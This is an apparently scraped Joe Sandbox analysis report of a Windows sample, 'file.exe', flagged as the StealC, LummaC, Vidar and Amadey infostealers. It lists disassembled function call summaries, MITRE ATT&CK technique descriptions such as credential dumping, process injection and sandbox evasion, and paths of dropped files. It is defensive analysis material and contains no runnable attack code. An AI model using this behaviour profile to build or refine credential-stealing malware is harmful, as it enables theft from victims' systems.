Part of subcall function 6CBF1370: GetSystemInfo.KERNEL32(?,?,?,?,6CBF0936,?,6CBF0F20,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000), ref: 6CBF138F

PR_NewLogModule.NSS3(clock,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F25

Part of subcall function 6CBF1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CBF0936,00000001,00000040), ref: 6CBF1130
Part of subcall function 6CBF1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF0936,00000001,00000040), ref: 6CBF1142
Part of subcall function 6CBF1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF0936,00000001), ref: 6CBF1167

Strings

clock, xrefs: 6CBF0F20

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: d6d2807e43170919d7701d8b4948be0da80623baad1d5ba3cf1d24602ccde58e
Instruction ID: f71a99067af0eff5f4e591e18e9c7f2acb538f2c89097574c89e4a5767bf898d
Opcode Fuzzy Hash: d6d2807e43170919d7701d8b4948be0da80623baad1d5ba3cf1d24602ccde58e
Instruction Fuzzy Hash: 4BD02271204194A1E2002267DC44BAAB2BCC7C32BEF040C22E2AC81F108B6540DFC2B6

Function 6CC60DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CC60DF5
TlsGetValue.KERNEL32 ref: 6CC60E2D
TlsGetValue.KERNEL32 ref: 6CC60E58
TlsGetValue.KERNEL32 ref: 6CC60E84

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: c37c41eece9376b1fdf84adb6e36fd18ef9c98bc24bb4d3717ab90caf3808d4c
Instruction ID: 2816a85a016f40693e66bba12464b2ade4d3c9fd67718f28f8fda9b825614c75
Opcode Fuzzy Hash: c37c41eece9376b1fdf84adb6e36fd18ef9c98bc24bb4d3717ab90caf3808d4c
Instruction Fuzzy Hash: C23104706443A1CBEB006F7ACAC526977B8BF4A308F01466DD9D897F21FB308086CB85

Function 6CC60F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC02AF5,?,?,?,?,?,6CC00A1B,00000000), ref: 6CC60F1A
malloc.MOZGLUE(00000001), ref: 6CC60F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC60F42
TlsGetValue.KERNEL32 ref: 6CC60F5B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 0e8e188afce52cd8d8277a5aad63e844652712f7885ad62b541a321e0af33071
Instruction ID: 190b53d91bb9602fcbecffc513cce7033c3024fe7f71db67689b2c70d6c89f00
Opcode Fuzzy Hash: 0e8e188afce52cd8d8277a5aad63e844652712f7885ad62b541a321e0af33071
Instruction Fuzzy Hash: A101D8B1E002805BF7102B7BAE845667AACEF52299F010561ED1CD2E21F730C449C6E7

Function 6CC11EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CC11ECE
free.MOZGLUE(?), ref: 6CC11EDF
free.MOZGLUE(?), ref: 6CC11EEF
free.MOZGLUE(?), ref: 6CC11EF5

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 98f857cd5f94f53daa20417fd89c9c55abc08c73afb904e0c2015af18c6478a4
Instruction ID: 872d0d97454fe133032db1a95c23d4c5cc6d0a5f1e30ceccf0d425b9739e935d
Opcode Fuzzy Hash: 98f857cd5f94f53daa20417fd89c9c55abc08c73afb904e0c2015af18c6478a4
Instruction Fuzzy Hash: 9DF0B4B57045016BEB009B6ADC89D27776CEF85594B040424ED09C3E00E729F410D6A1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGDAKEHJDHIDHJJDAECFBKF

C:\ProgramData\AEGHIJEHJDHIDHIDAEHC

C:\ProgramData\BAEBFIIECBGCBGDHCAFCGDBGCA

C:\ProgramData\CBFIIEHJDBKJKECBFHDG

C:\ProgramData\EBAKFIIJ

C:\ProgramData\IJDBGDGC

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre